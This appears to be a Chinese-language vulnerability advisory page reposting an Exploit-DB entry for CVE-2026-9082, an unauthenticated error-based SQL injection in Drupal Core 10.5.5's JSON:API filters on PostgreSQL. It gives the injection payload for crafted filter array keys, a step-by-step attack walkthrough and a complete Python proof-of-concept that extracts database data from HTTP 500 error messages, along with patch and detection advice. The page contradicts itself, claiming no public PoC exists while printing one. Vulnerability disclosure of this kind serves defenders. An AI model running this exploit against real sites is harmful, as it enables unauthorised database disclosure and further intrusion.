[webapps] Drupal Core 10.5.5 - Error-Based SQL Injection

Drupal Core 10.5.5被发现存在基于错误的SQL注入漏洞(CVE-2026-9082),攻击者可利用JSON:API过滤器数组键注入恶意SQL,通过PostgreSQL错误消息泄露数据库版本等敏感信息。该漏洞无需认证,远程利用,CVSS评分7.5。本文提供完整的攻击原理、PoC分析和修复建议。

CVE-2026-9082

Drupal Core 10.5.5 JSON:API过滤器数组键存在错误型SQL注入,可泄露数据库信息。

High · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5)

📋 漏洞基础信息

CVECVE-2026-9082
漏洞类型SQL注入 (Error-Based)
受影响版本Drupal Core 10.5.5 (PostgreSQL)
危害等级High · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5)
发布日期2026-06-01
提交者cardosource
来源Exploit-DB 原文 ↗

🔬 漏洞根因

JSON:API过滤器机制未正确清理用户控制的数组键,攻击者可通过构造filter[my_filter][condition][value][0||CAST((subquery) AS INTEGER)]形式的参数键名,将恶意SQL表达式注入到查询构造中,触发PostgreSQL类型转换错误导致信息泄露。

🎯 攻击场景

1. 攻击者发送GET请求到/jsonapi/node/article端点。 2. 在请求参数中构造 filter[my_filter][condition][path]=title、filter[my_filter][condition][operator]=IN、filter[my_filter][condition][value][0]=Example 以及 filter[my_filter][condition][value][0||CAST((SELECT version()) AS INTEGER)]=Injection。 3. 服务器在处理过滤器时,将数组键值作为SQL查询的一部分拼接,导致CAST((SELECT version()) AS INTEGER)被数据库执行。 4. 由于类型不匹配,PostgreSQL返回错误消息,其中包含了SELECT version()的结果,攻击者在HTTP 500响应的JSON错误详情中读取到数据库版本信息。

💥 漏洞影响

攻击者无需身份认证即可通过HTTP GET请求触发数据库错误,获取数据库版本、当前用户、表结构等敏感信息,为后续更深入攻击提供情报。

⚔️ 原始 PoC

1. 定义 extract_data 函数,接收子查询字符串(如 SELECT version())。 2. 构造 payload 字符串:"0||CAST(({subquery}) AS INTEGER)",用于闭合数组键并执行CAST转换。 3. 将payload作为 filter[my_filter][condition][value][0||CAST((SELECT version()) AS INTEGER)] 的键名,值为任意字符串。 4. 发送GET请求,携带恶意参数。 5. 捕获HTTP 500响应,解析JSON错误对象中的detail字段,提取引号内的错误信息,即为数据库返回的版本数据。

# Exploit Author: cardosource
#
# Description:
# This proof-of-concept demonstrates an Error-Based SQL Injection in
# Drupal Core 10.5.5 (PostgreSQL). User-controlled JSON:API filter
# array keys influence SQL query construction, allowing database
# information disclosure through SQL error messages.



import requests
import json
from urllib.parse import urlencode

TARGET_URL = "http://localhost:8080/jsonapi/node/article"

BANNER = """
[+] Drupal Core 10.5.5 - Error-Based SQL Injection
[+] CVE-2026-9082
[+] Target: JSON:API (PostgreSQL)
"""


def extract_data(subquery):
    headers = {
        "Accept": "application/vnd.api+json",
        "Content-Type": "application/vnd.api+json"
    }
    
    payload = f"0||CAST(({subquery}) AS INTEGER)"
   
    params = {
        "filter[my_filter][condition][path]": "title",
        "filter[my_filter][condition][operator]": "IN",
        "filter[my_filter][condition][value][0]": "Example",
        f"filter[my_filter][condition][value][{payload}]": "Injection"
    }
    
    try:
        response = requests.get(TARGET_URL, headers=headers, params=params, timeout=10)
       
        if response.status_code == 500:
            try:
                error = response.json().get("errors", [{}])[0].get("detail", "")
                if "invalid input syntax" in error:
                    data = error.split('"')[1] if '"' in error else error
                    print(f"\033[92m[SUCCESS]\033[0m {data}")
            except json.JSONDecodeError:
                pass
    except requests.exceptions.RequestException:
        pass


if __name__ == "__main__":
    print(BANNER) 
    extract_data("SELECT version()")

🔬 深度技术分析

1. 定义 extract_data 函数,接收子查询字符串(如 SELECT version())。 2. 构造 payload 字符串:"0||CAST(({subquery}) AS INTEGER)",用于闭合数组键并执行CAST转换。 3. 将payload作为 filter[my_filter][condition][value][0||CAST((SELECT version()) AS INTEGER)] 的键名,值为任意字符串。 4. 发送GET请求,携带恶意参数。 5. 捕获HTTP 500响应,解析JSON错误对象中的detail字段,提取引号内的错误信息,即为数据库返回的版本数据。

🛡️ 修复建议

官方补丁:升级至Drupal Core 10.5.6及以上版本。 临时缓解措施:禁用JSON:API模块或使用WAF规则拦截包含filter[...][value][...||CAST(的请求。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-06-02 08:08 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 该漏洞是否需要认证?

不需要,PoC显示无需任何认证即可利用,受影响的JSON:API端点默认对匿名用户开放读取权限。

❓ 仅影响PostgreSQL吗?

根据原文,漏洞仅在PostgreSQL上验证,且利用依赖PostgreSQL的CAST错误消息泄露数据,MySQL/MariaDB可能无法直接使用相同payload。

❓ 如何判断是否被攻击?

检查Web服务器访问日志中异常的filter参数键名,特别是包含||、CAST、(SELECT等SQL关键字的参数名。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)